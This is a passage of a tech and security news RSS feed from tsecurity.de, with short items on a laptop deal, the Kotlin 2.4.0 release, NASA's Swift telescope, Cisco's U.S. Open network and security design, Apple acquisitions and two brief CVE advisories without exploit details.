By treating the leak as a theft of commercial property, the iPhone maker has strong legal grounds to force these removals. While it is impossible to completely erase information once it hits the internet, the company hopes these swift strikes will stop the stolen design files from spreading further across social media.]]></content:encoded>
</item>
<item>
<title><![CDATA[Acer’s Swift Go 16 is a lot of laptop for $900]]></title>
<description><![CDATA[As high memory and storage prices have driven up the cost of everything from consoles to computers, finding a competent laptop for under $1,000 has become a challenge. Thankfully, the Acer Swift Go 16 AI is on sale for $899.99 at Best Buy, a steep discount from its usual list price of $1,549.99. ...]]></description>
<link>https://tsecurity.de/de/3636747/it-nachrichten/acers-swift-go-16-is-a-lot-of-laptop-for-900/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636747/it-nachrichten/acers-swift-go-16-is-a-lot-of-laptop-for-900/</guid>
<pubDate>Tue, 30 Jun 2026 22:02:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As high memory and storage prices have driven up the cost of everything from consoles to computers, finding a competent laptop for under $1,000 has become a challenge. Thankfully, the Acer Swift Go 16 AI is on sale for $899.99 at Best Buy, a steep discount from its usual list price of $1,549.99. The well-equipped […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Swift: Autonomer Roboter soll abstürzendes Nasa-Teleskop retten]]></title>
<description><![CDATA[Wenn hochkomplexe Technik im Weltraum an ihre Grenzen stößt, sind unkonventionelle Lösungen gefragt. Ein aktuelles Projekt zeigt nun eindrucksvoll, wie aus der Not heraus völlig neue Ansätze für den Erhalt teurer Infrastruktur entstehen können.
weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3636647/it-nachrichten/swift-autonomer-roboter-soll-abstuerzendes-nasa-teleskop-retten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636647/it-nachrichten/swift-autonomer-roboter-soll-abstuerzendes-nasa-teleskop-retten/</guid>
<pubDate>Tue, 30 Jun 2026 21:02:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wenn hochkomplexe Technik im Weltraum an ihre Grenzen stößt, sind unkonventionelle Lösungen gefragt. Ein aktuelles Projekt zeigt nun eindrucksvoll, wie aus der Not heraus völlig neue Ansätze für den Erhalt teurer Infrastruktur entstehen können.
<a href="https://t3n.de/news/nasa-rettungsmission-swift-teleskop-roboter-1750441/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kotlin improves compile-time constants]]></title>
<description><![CDATA[Kotlin 2.4.0, an update to JetBrains’s statically typed language for building JVM, native, Wasm, and web applications, introduces experimental improvements to compile-time constants, making support for numeric and string types more consistent and easier to use, JetBrains said. 



Kotlin 2.4.0 wa...]]></description>
<link>https://tsecurity.de/de/3635034/ai-nachrichten/kotlin-improves-compile-time-constants/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635034/ai-nachrichten/kotlin-improves-compile-time-constants/</guid>
<pubDate>Tue, 30 Jun 2026 11:18:30 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Kotlin 2.4.0, an update to JetBrains’s statically typed language for building JVM, native, Wasm, and web applications, introduces experimental improvements to compile-time constants, making support for numeric and string types more consistent and easier to use, JetBrains said. </p>



<p>Kotlin 2.4.0 was released <a href="https://blog.jetbrains.com/kotlin/2026/06/kotlin-2-4-0-released/">June 3</a>. Its experimental improvements to compile-time constants include support for unsigned type operations; standard library functions for strings, such as the <code>.lowercase()</code>, <code>.uppercase()</code>, and <code>.trim()</code> functions, and evaluation of the <code>.name</code> property of <a href="https://kotlinlang.org/docs/enum-classes.html?_gl=1%2Afehijk%2A_gcl_au%2AMTU3MDQ4ODM0NC4xNzgyNTgwMDg4LjEwMzg2MDE2MzkuMTc4Mjc0OTgwNC4xNzgyNzQ5ODA0%2AFPAU%2AMTc4NTM0NDYwNC4xNzgyNTA0Mzkw%2A_ga%2AMTM5MjU2NDU3OS4xNzgyNTgwMDg4%2A_ga_9J976DJZ68%2AczE3ODI3NDgzODQkbzMkZzEkdDE3ODI3NTEyMTIkajU5JGwwJGgw&amp;_cl=MTsxOzE7aVFoRlVMeXhISDhwV2l2d3lVNmhTMDdKMGdPQzVoMnZBcHI2bWpERjNhRkY5eGpWSWY0bjRNVEJwYzNmdnR1aTs%3D#working-with-enum-constants">enum constants</a> and the <a href="https://kotlinlang.org/api/core/kotlin-stdlib/kotlin.reflect/-k-callable/"><code>KCallable</code> interface</a>. To make it clear which functions are evaluated at compile time, Kotlin 2.4.0 introduces the <code>IntrinsicConstEvaluation</code><strong> </strong>annotation. </p>



<p>JetBrains warned that some functions are evaluated at compile time but do not have the annotation yet. Later releases will add the annotation to the remaining functions.</p>



<p>Also in Kotlin 2.4.0:</p>



<ul class="wp-block-list">
<li>Kotlin 2.4.0 improves export to <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> and <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript,</a> including support for exporting value classes, interfaces, and type variance, as well as ES2015 features when inlining JavaScript code.</li>



<li>The Kotlin compiler can generate classes containing <a href="https://www.infoworld.com/article/4168040/whats-new-and-exciting-in-jdk-26.html">Java 26</a> bytecode.</li>



<li>Experimental support is highlighted for the <a href="https://component-model.bytecodealliance.org/">WebAssembly Component Model</a>. The proposal defines a way to build components from Wasm modules through standardized interfaces and types. This approach helps Wasm evolve from a low-level binary instruction format into a system for composing reusable, language-agnostic components.</li>



<li>Kotlin 2.4.0 has been included in the <a href="https://www.jetbrains.com/idea/download/?_cl=MTsxOzE7RVVQYngzTmMwUzNLNmkzTllYbXBVM20xRnFMcG5rdmE5SkxUYmk0emIycXh6Vjg1NThFa2dlZUlNVkdKeGRFZTs%3D&amp;section=mac">IntelliJ IDEA</a> and <a href="https://developer.android.com/studio">Android Studio</a> IDEs. </li>
</ul>



<p>An update to Kotlin 2.4.0 will arrive soon. Beta1 of <a href="https://kotlinlang.org/docs/whatsnew-eap.html">Kotlin 2.4.20</a> was released on June 24, adding the <code>StackTraceRecoverable</code> interface to the standard library. This interface improves integration with the <code>kotlinx.coroutines</code> library because it lets users define how to create exception instances for stack trace recovery without adding a dependency on<code>kotlinx.coroutines</code>, according to JetBrains. </p>



<p>A build tools API in the Kotlin 2.4.20 beta adds support for the Kotlin/JS, Kotlin/Wasm, and Kotlin metadata targets.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[U.S. Open powers up AI-ready network in challenging environment]]></title>
<description><![CDATA[Cisco’s work with the USGA at the 2026 U.S. Open at Shinnecock Hills Golf Club was a live testbed for what AI-ready networking and security look like in the wild — not in a lab, not in a climate-controlled data center, but across 18 holes of constantly changing terrain, crowds, and threats. It’s ...]]></description>
<link>https://tsecurity.de/de/3634437/it-security-nachrichten/us-open-powers-up-ai-ready-network-in-challenging-environment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634437/it-security-nachrichten/us-open-powers-up-ai-ready-network-in-challenging-environment/</guid>
<pubDate>Tue, 30 Jun 2026 05:19:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Cisco’s work with the <a href="https://www.usga.org/">USGA</a> at the 2026 U.S. Open at <a href="https://www.shinnecockhillsgolfclub.org/">Shinnecock Hills Golf Club</a> was a live testbed for what AI-ready networking and security look like in the wild — not in a lab, not in a climate-controlled data center, but across 18 holes of constantly changing terrain, crowds, and threats. It’s also a blueprint that network engineers in other industries can borrow as they grapple with the convergence of connectivity, security, and AI apps.</p>



<h2 class="wp-block-heading">Golf as a worst‑case network environment</h2>



<p>From a distance, it’s tempting to lump golf in with stadium or arena networking. The reality on the ground is very different. Stadiums offer a fixed concrete bowl and predictable RF patterns. A <a href="https://www.usopen.com/">U.S. Open</a> venue is effectively rebuilt every year: temporary structures, new hospitality layouts, shifting fiber routes, and a crowd that never sits still.</p>



<p>Christian Rodriguez, senior manager, IT operations, from the USGA’s technology team, captured that reality when he explained why they tear down and rebuild from scratch: No two championships share the same layout, ISP entry points, or even the placement of critical compounds. They don’t simply clone last year’s configs; they design for the specific course, topology, and constraints of that site. That level of contextual design is expensive, but it’s also the only way to avoid brittle architectures that fall apart as soon as the environment changes.</p>



<p>Environmental conditions add another layer of complexity. Anthony Santora, managing director of IT for the USGA, describes the championship network as a data center without the usual comforts. There’s dust, rain, wind, and wide temperature swings instead of clean, controlled air. Hardware resides in trailers and weatherproof enclosures, not in racks behind raised floor tiles. For network engineers who spend most of their time on office campuses and in colos, that’s an important reminder: Critical infrastructure increasingly sits in places that look nothing like a traditional wiring closet.</p>



<p>User behavior is just as hostile. The U.S. Open has its own term — the “Tiger effect” (though one could argue it’s now the Scottie effect) — for what happens when tens of thousands of fans follow a single golfer. The hot spot moves with the group, and the RF design must cope with a dense, moving cluster of devices. That pattern should sound familiar to anyone who supports large conferences or festivals; it’s the same phenomenon, just under a different name.</p>



<h2 class="wp-block-heading">Building an AI‑ready, fault‑tolerant course network</h2>



<p>Cisco’s answer to this environment is a fully redundant, mobile core design. Instead of a single large core in a building, the network collapses into dual trailers that serve as cores on the go, typically anchored at the NBC broadcast compound and another central location. Each core hosts Cisco Secure Firewall appliances, FMCs, core Catalyst switches, DHCP, UPS, and generators, all in pairs. Rodriguez was matter-of-fact about the philosophy: “We do everything in pairs as much as we can.” If one fails, its twin picks up the load.</p>



<p>From those cores, the team builds a ring topology around the course, using diverse fiber paths — including trenching fiber through wooded areas — to avoid single points of failure. Mobile IDF kits in cooled cabinets serve as distribution points, delivering connectivity to weatherproof access switches and Wi-Fi access points around hospitality tents, grandstands, and entry gates. Everything on the backbone operates at Layer 3, with HSRP (Hot Standby Routing Protocol) and routing redundancy to ensure that a single switch failure doesn’t take out large swaths of the network.</p>



<p>The scale of a golf course deployment is massive as well, with about 500 access points and more than 100 switches, many of them the latest <a href="https://www.networkworld.com/article/4135351/favorable-wi-fi-7-prices-wont-be-around-for-long-delloro-group-warns.html">Wi‑Fi 7</a> and campus platforms. What matters is not the absolute numbers but the duty cycle. Every TV, every POS terminal, every credential pedestal, every media workstation, and every fan device share this converged fabric during a compressed, high‑risk period. Santora points out the business impact in simple terms: If merchandise goes down for even five minutes, lines explode and fans walk away. There’s no “we’ll patch it on the next maintenance window.”</p>



<p>On the RF side, the <a href="https://www.networkworld.com/article/4092389/singapore-makes-the-leap-to-wi-fi-7-to-boost-fan-experience.html">shift to Wi‑Fi 7</a> is more than a speed upgrade. Santora’s team has seen real-world performance improvements — hundreds of megabits down in the middle of a packed media center – but the more important change is resilience under high density. When you combine wider channels, better scheduling, and smarter management with a dense deployment, you get something that can withstand the Tiger Effect and the crush of content creators and broadcasters.</p>



<p>That last group is critical. Rob Neumann from Cisco notes that at these events, upload traffic now dominates download traffic. Influencers, media teams, and fans are publishing in near-real time, and cellular uplink simply can’t keep up. High-capacity Wi-Fi with solid backhaul isn’t a luxury; it’s the only way to avoid a miserable experience for the most vocal, visible part of the audience.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="894" height="1024" sizes="auto, (max-width: 894px) 100vw, 894px"&gt;</figure><p class="imageCredit">Zeus Kerravala</p></div>



<h2 class="wp-block-heading">Security: Treat every device as untrusted</h2>



<p>If the connectivity story feels familiar, the security posture at the U.S. Open is where this deployment begins to diverge from more generic “converged stadium” narratives. Santora has to contend with “thousands of untrusted devices” each championship week: fans, vendors, media, broadcasters, and staff, many of whom plug in or connect to networks the USGA doesn’t control outside the event. The USGA is well aware of the risks: outages or breaches could lead to data and financial losses, as well as reputational damage that would undermine the organization’s core mission, not just its IT metrics.</p>



<p>Cisco Secure Firewall, AnyConnect, Duo, and other components form the core security stack, but how they’re used is the differentiator. Fan Wi‑Fi runs with strict isolation: every client is segmented, so lateral movement is essentially off the table. Neumann explains it simply — each fan has an isolated path out — but under the covers, you get VLAN separation, policy enforcement, and inspection that treat fan traffic as untrusted end-to-end.</p>



<p>The rest of the network is equally segmented. There’s a separate network for <a href="https://www.pgatour.com/shotlink">ShotLink</a> and everything “inside the ropes,” including scoring and betting feeds. Back-of-house traffic for staff, concessions, and retail runs on its own network. Remote POS systems are segmented again. Broadcast compounds and production systems have their own paths and policies. The result is a unified, converged physical fabric with tightly controlled logical overlays.</p>



<p>This is a pattern many enterprises discuss but struggle to implement: a single platform that carries many classes of traffic, each with its own risk profile, without collapsing into a flat, lateral-friendly network. The U.S. Open shows that it’s possible — but only if segmentation is treated as a core design principle, not an afterthought.</p>



<h2 class="wp-block-heading">Observability and AI security in the loop</h2>



<p>Security and availability at this scale demand observability. Here again, Santora’s team is in the middle of a transition many enterprises are grappling with: moving from reactive log-scraping to proactive, correlated telemetry.</p>



<p>Instead of manually combing through firewall and switch logs, the USGA and Cisco have built a pipeline into Splunk and Cisco’s observability tools. Neumann describes it as a single pane of glass across the network, but the more important point is what feeds that view: APs, switches, firewalls, cameras, and applications, all instrumented and reporting. When you combine that with full-stack observability, you can spot anomalies in real time, whether they’re performance issues or indicators of compromise.</p>



<p>That observability story extends to AI. One of the headline features of the renewed Cisco–USGA partnership is the AI-powered rules assistant: an application that lets golfers and fans ask complex rules questions in the USGA app and receive near-instant guidance. Under the hood, Santora’s team started with question–answer pairs and built a knowledge graph that now spans hundreds of topics and clusters. They also built an evaluation program that identifies outliers — questions the system struggles with — and feeds them back into human review.</p>



<p>Cisco AI Defense wraps the assistant with security controls. It’s not enough to get rules right; the system must resist prompt injection, data exfiltration, and other AI-specific threats that are increasingly appearing in the wild. The teams monitor usage, validate models, and protect applications at runtime against misuse or abuse. Perhaps most importantly, they keep a human override in place. If the system isn’t confident, it won’t answer; it escalates to rules experts rather than bluffing.</p>



<p>This is a model network engineers should watch as AI assistants and agents proliferate across other industries. The U.S. Open rules assistant isn’t treated as a toy or a sidecar; it’s a mission-critical application that resides within the same protected fabric as POS, scoring, and broadcast and is subject to the same observability and security rigor.</p>



<h2 class="wp-block-heading">Lessons for network engineers beyond golf</h2>



<p>Strip away the golf-specific details, and a set of lessons emerges:</p>



<ul class="wp-block-list">
<li><strong>Design for tough, not ease.</strong> Assume transient structures, unknown RF patterns, seasonal layout changes, and harsh environmental conditions. The U.S. Open team rebuilds from scratch for each venue; most enterprises don’t need to go that far, but they should at least validate designs against real-world changes rather than assuming a static topology.</li>



<li><strong>Make redundancy systemic.</strong> Dual cores, dual firewalls, ring topologies, HSRP, Layer 3 everywhere, spare hardware on site, and live failover drills are all part of the fabric. Redundancy isn’t a checkbox on a data sheet; it’s an operational discipline.</li>



<li><strong>Treat every device as untrusted.</strong> Fan devices, vendor systems, broadcast laptops, and staff phones all arrive with unknown posture. Segmentation — per-client isolation, dedicated networks for sensitive functions, and strong identity — is the only sustainable way to cope with that diversity.</li>



<li><strong>Upload is the new download.</strong> Traditional designs optimized for download traffic are increasingly misaligned with reality. Conferences, stadiums, and campuses now behave like the U.S. Open: content creators and collaborative apps push far more data than they pull. Wi-Fi 7 and modern campus platforms help, but you still need to design RF and backhaul with upload and lateral traffic in mind.</li>



<li><strong>Integrate observability and AI security from day one.</strong> Logs alone aren’t enough. Coherent telemetry, full-stack observability, and AI-focused security controls should be treated as first-class requirements, especially as AI assistants move into business-critical workflows.</li>
</ul>



<h2 class="wp-block-heading">Final thoughts</h2>



<p>Perhaps the most important takeaway is cultural rather than technical. Santora and his team position AI and automation as tools for scale, not as replacements for experts. The rules assistant accelerates responses and expands reach, but it still defers to human judgment when confidence is low. The network uses automation and observability to keep a complex environment running, but it still depends on experienced engineers, in trailers on-site, watching for issues and making decisions.</p>



<p>For network engineers in other industries, that’s a useful template: Build AI-ready, secure, observable networks that assume the worst about their environment, and pair them with human expertise that can adapt when reality inevitably diverges from the design.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="673" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">Zeus Kerravala</p></div>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA Turns to Robotic Spacecraft to Save Falling Telescope]]></title>
<description><![CDATA[NASA is sending Katalyst Space Technologies’ robotic Link spacecraft to boost the Swift Observatory into a higher orbit as solar activity speeds its descent.]]></description>
<link>https://tsecurity.de/de/3633843/it-nachrichten/nasa-turns-to-robotic-spacecraft-to-save-falling-telescope/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633843/it-nachrichten/nasa-turns-to-robotic-spacecraft-to-save-falling-telescope/</guid>
<pubDate>Mon, 29 Jun 2026 21:01:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NASA is sending Katalyst Space Technologies’ robotic Link spacecraft to boost the Swift Observatory into a higher orbit as solar activity speeds its descent.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Design award winner acquired by Apple for new Swift tools]]></title>
<description><![CDATA[After giving it an Apple Design award for innovation, Apple has now bought Rabbit 3 Ties, Inc, which made a visual Swift development tool called Play.Play let developers quickly prototype apps - image credit: Rabbit 3 Times, IncFollowing Apple's acquisition of the open-source Swift Package Index,...]]></description>
<link>https://tsecurity.de/de/3633512/ios-mac-os/apple-design-award-winner-acquired-by-apple-for-new-swift-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633512/ios-mac-os/apple-design-award-winner-acquired-by-apple-for-new-swift-tools/</guid>
<pubDate>Mon, 29 Jun 2026 18:25:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After giving it an Apple Design award for innovation, Apple has now bought Rabbit 3 Ties, Inc, which made a visual <a href="https://appleinsider.com/inside/swift" title="Swift" data-kpt="1">Swift</a> development tool called Play.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68106-143559-000-lead-Play-xl.jpg" alt="Dark interface showing a map-based mobile app prototype on a computer screen, alongside a smartphone displaying a similar city map view with streets, parks, and navigation controls" height="720"><br><span>Play let developers quickly prototype apps - image credit: Rabbit 3 Times, Inc</span></div><br>Following <a href="https://appleinsider.com/articles/26/06/24/developer-resource-swift-package-index-to-stay-open-source-after-apple-acquisition">Apple's acquisition</a> of the open-source Swift Package Index, it's now been revealed that it entered a deal with the Play company. Rather than an outright acquisition, the deal reportedly sees Apple acquiring assets and having the option to hire certain staff.<br><br>So where Swift Package Index, for one example, is expected to continue in its present form, Apple appears to have bought Rabbit 3 Times to asset-strip it. It may also be an acquihire, where Apple bought the firm in order to get its staff for other projects.<br><br><br> <a href="https://appleinsider.com/articles/26/06/29/apple-design-award-winner-acquired-by-apple-for-new-swift-tools?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244818?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT Security News Hourly Summary 2026-06-28 21h : 3 posts]]></title>
<description><![CDATA[3 posts were published in the last hour 18:34 : SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 103 18:34 : Romania’s Swift Response Stops Massive Cyberattack on Hospitals, Offers Global Lessons in Healthcare Security 18:34 : US Opens the Door for Trusted…
Read more →
The post IT Security News Hourly S...]]></description>
<link>https://tsecurity.de/de/3631437/it-security-nachrichten/it-security-news-hourly-summary-2026-06-28-21h-3-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631437/it-security-nachrichten/it-security-news-hourly-summary-2026-06-28-21h-3-posts/</guid>
<pubDate>Sun, 28 Jun 2026 21:08:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>3 posts were published in the last hour 18:34 : SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 103 18:34 : Romania’s Swift Response Stops Massive Cyberattack on Hospitals, Offers Global Lessons in Healthcare Security 18:34 : US Opens the Door for Trusted…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-06-28-21h-3-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-06-28-21h-3-posts/">IT Security News Hourly Summary 2026-06-28 21h : 3 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Romania’s Swift Response Stops Massive Cyberattack on Hospitals, Offers Global Lessons in Healthcare Security]]></title>
<description><![CDATA[  Romania’s healthcare system faced one of its biggest cyber crises in February 2024 when a widespread ransomware attack targeted hospitals across the country, disrupting critical medical services and exposing the growing vulnerability of healthcare infrastructure to cybercriminals. The attack…
R...]]></description>
<link>https://tsecurity.de/de/3631405/it-security-nachrichten/romanias-swift-response-stops-massive-cyberattack-on-hospitals-offers-global-lessons-in-healthcare-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631405/it-security-nachrichten/romanias-swift-response-stops-massive-cyberattack-on-hospitals-offers-global-lessons-in-healthcare-security/</guid>
<pubDate>Sun, 28 Jun 2026 20:38:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  Romania’s healthcare system faced one of its biggest cyber crises in February 2024 when a widespread ransomware attack targeted hospitals across the country, disrupting critical medical services and exposing the growing vulnerability of healthcare infrastructure to cybercriminals. The attack…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/romanias-swift-response-stops-massive-cyberattack-on-hospitals-offers-global-lessons-in-healthcare-security/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/romanias-swift-response-stops-massive-cyberattack-on-hospitals-offers-global-lessons-in-healthcare-security/">Romania’s Swift Response Stops Massive Cyberattack on Hospitals, Offers Global Lessons in Healthcare Security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-57284 | Groovy Plugin up to 4331.v9d06ed4658ff on Jenkins System Configuration externally-controlled input to select classes or code]]></title>
<description><![CDATA[A vulnerability was found in Groovy Plugin up to 4331.v9d06ed4658ff on Jenkins. It has been classified as critical. This issue affects some unknown processing of the component System Configuration Handler. Performing a manipulation results in use of externally-controlled input to select classes o...]]></description>
<link>https://tsecurity.de/de/3630663/sicherheitsluecken/cve-2026-57284-groovy-plugin-up-to-4331v9d06ed4658ff-on-jenkins-system-configuration-externally-controlled-input-to-select-classes-or-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630663/sicherheitsluecken/cve-2026-57284-groovy-plugin-up-to-4331v9d06ed4658ff-on-jenkins-system-configuration-externally-controlled-input-to-select-classes-or-code/</guid>
<pubDate>Sun, 28 Jun 2026 09:24:07 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/groovy_plugin">Groovy Plugin up to 4331.v9d06ed4658ff</a> on Jenkins. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. This issue affects some unknown processing of the component <em>System Configuration Handler</em>. Performing a manipulation results in use of externally-controlled input to select classes or code.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-57284">CVE-2026-57284</a>. Access to the local network is required for this attack. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-48517 | MessagePack-CSharp MessagePack for C# up to 2.5.300/3.1.6 externally-controlled input to select classes or code (GHSA-qhmf-xw27-6rqr)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in MessagePack-CSharp MessagePack for C# up to 2.5.300/3.1.6. This vulnerability affects unknown code. Such manipulation leads to use of externally-controlled input to select classes or code.

This vulnerability is listed as CVE-2026-48517. The ...]]></description>
<link>https://tsecurity.de/de/3629505/sicherheitsluecken/cve-2026-48517-messagepack-csharp-messagepack-for-c-up-to-25300316-externally-controlled-input-to-select-classes-or-code-ghsa-qhmf-xw27-6rqr/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629505/sicherheitsluecken/cve-2026-48517-messagepack-csharp-messagepack-for-c-up-to-25300316-externally-controlled-input-to-select-classes-or-code-ghsa-qhmf-xw27-6rqr/</guid>
<pubDate>Sat, 27 Jun 2026 13:38:37 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/messagepack-csharp:messagepack_for_c">MessagePack-CSharp MessagePack for C# up to 2.5.300/3.1.6</a>. This vulnerability affects unknown code. Such manipulation leads to use of externally-controlled input to select classes or code.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-48517">CVE-2026-48517</a>. The attack may be performed from remote. There is no available exploit.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Announces Its First Theatrical Movie Release of the Year]]></title>
<description><![CDATA[Apple has finally revealed its first cinematic event of the year that will hit the big screen. The tech company shared plans to bring the new historical drama film Tenzing to select movie theaters this fall. Fans who prefer watching great stories on the big screen will get a chance to see this st...]]></description>
<link>https://tsecurity.de/de/3629422/ios-mac-os/apple-announces-its-first-theatrical-movie-release-of-the-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629422/ios-mac-os/apple-announces-its-first-theatrical-movie-release-of-the-year/</guid>
<pubDate>Sat, 27 Jun 2026 12:31:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has finally revealed its first cinematic event of the year that will hit the big screen. The tech company shared plans to bring the new historical drama film Tenzing to select movie theaters this fall. Fans who prefer watching great stories on the big screen will get a chance to see this story unfold before it moves to digital streaming platforms a week later.



The company plans a limited theater run for award eligibility



The upcoming movie will arrive in a limited number of theaters starting on Friday, October 9. After a short exclusive run in cinemas, the film will become available to stream globally on the Apple TV app starting on October 16. This approach follows a familiar strategy used by streaming platforms to qualify their best projects for major industry awards. The Academy Awards require a movie to play in theaters for at least seven consecutive days to be considered for an Oscar.



Since the massive success of F1 last summer, the brand has kept all its new films on its digital service throughout 2026. This sudden shift back to cinemas shows the studio believes this new mountain climbing drama has a real chance to compete during the upcoming award season.



Here’s the plot summary:




"Based on true events, “Tenzing” chronicles the little-known story of Tenzing Norgay (Genden Phuntsok), a gifted Himalayan climber who, alongside New Zealand mountaineer Edmund Hillary (Tom Hiddleston), was the first to summit Mount Everest. Encouraged by his wife Dawa (Thinley Lhamo), Tenzing finds an ally in expedition secretary Jill Henderson (Caitríona Balfe). Together, they persuade Colonel John Hunt (Willem Dafoe) that Tenzing belongs on the British climbing team, rather than merely serving it. Where Western climbers see “Everest” as something to be conquered, Tenzing reveres “Chomolungma” as the sacred mother goddess. What follows is an ascent defined as much by the tensions between backgrounds, classes and competing ambitions as by the perils of the mountain itself. But high above the world, empire, rank and aspiration fall away, leaving two outsiders bound by mutual respect and trust - and for Tenzing, the fulfillment of both a lifelong dream and a spiritual calling. Directed by award-winning filmmaker Jennifer Peedom, “Tenzing” is a story of greatness that refuses to be diminished - and the love that makes it possible."




By securing a short theatrical window, the studio gives its newest historical epic a fair shot at critical recognition while still feeding fresh, high-quality content to its loyal streaming subscribers.]]></content:encoded>
</item>
<item>
<title><![CDATA[ARD: Das sind die Programmhighlights für Juli 2026]]></title>
<description><![CDATA[Die ARD erweitert im Juli 2026 ihr Angebot in der Mediathek um zahlreiche Filme, Serien und Dokumentationen. Zu den angekündigten Inhalten gehören unter anderem die Doku-Serie über Taylor Swift, neue …]]></description>
<link>https://tsecurity.de/de/3629384/it-nachrichten/ard-das-sind-die-programmhighlights-fuer-juli-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629384/it-nachrichten/ard-das-sind-die-programmhighlights-fuer-juli-2026/</guid>
<pubDate>Sat, 27 Jun 2026 12:21:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1600" height="900" src="https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2026/05/ard.jpg?fit=1600%2C900&amp;ssl=1" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2026/05/ard.jpg?w=1600&amp;ssl=1 1600w, https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2026/05/ard.jpg?resize=690%2C388&amp;ssl=1 690w" sizes="(max-width: 1600px) 100vw, 1600px">
Die ARD erweitert im Juli 2026 ihr Angebot in der Mediathek um zahlreiche Filme, Serien und Dokumentationen. Zu den angekündigten Inhalten gehören unter anderem die Doku-Serie über Taylor Swift, neue …]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Brings Google Gemini Coding Assistant To Xcode 26.6 Update]]></title>
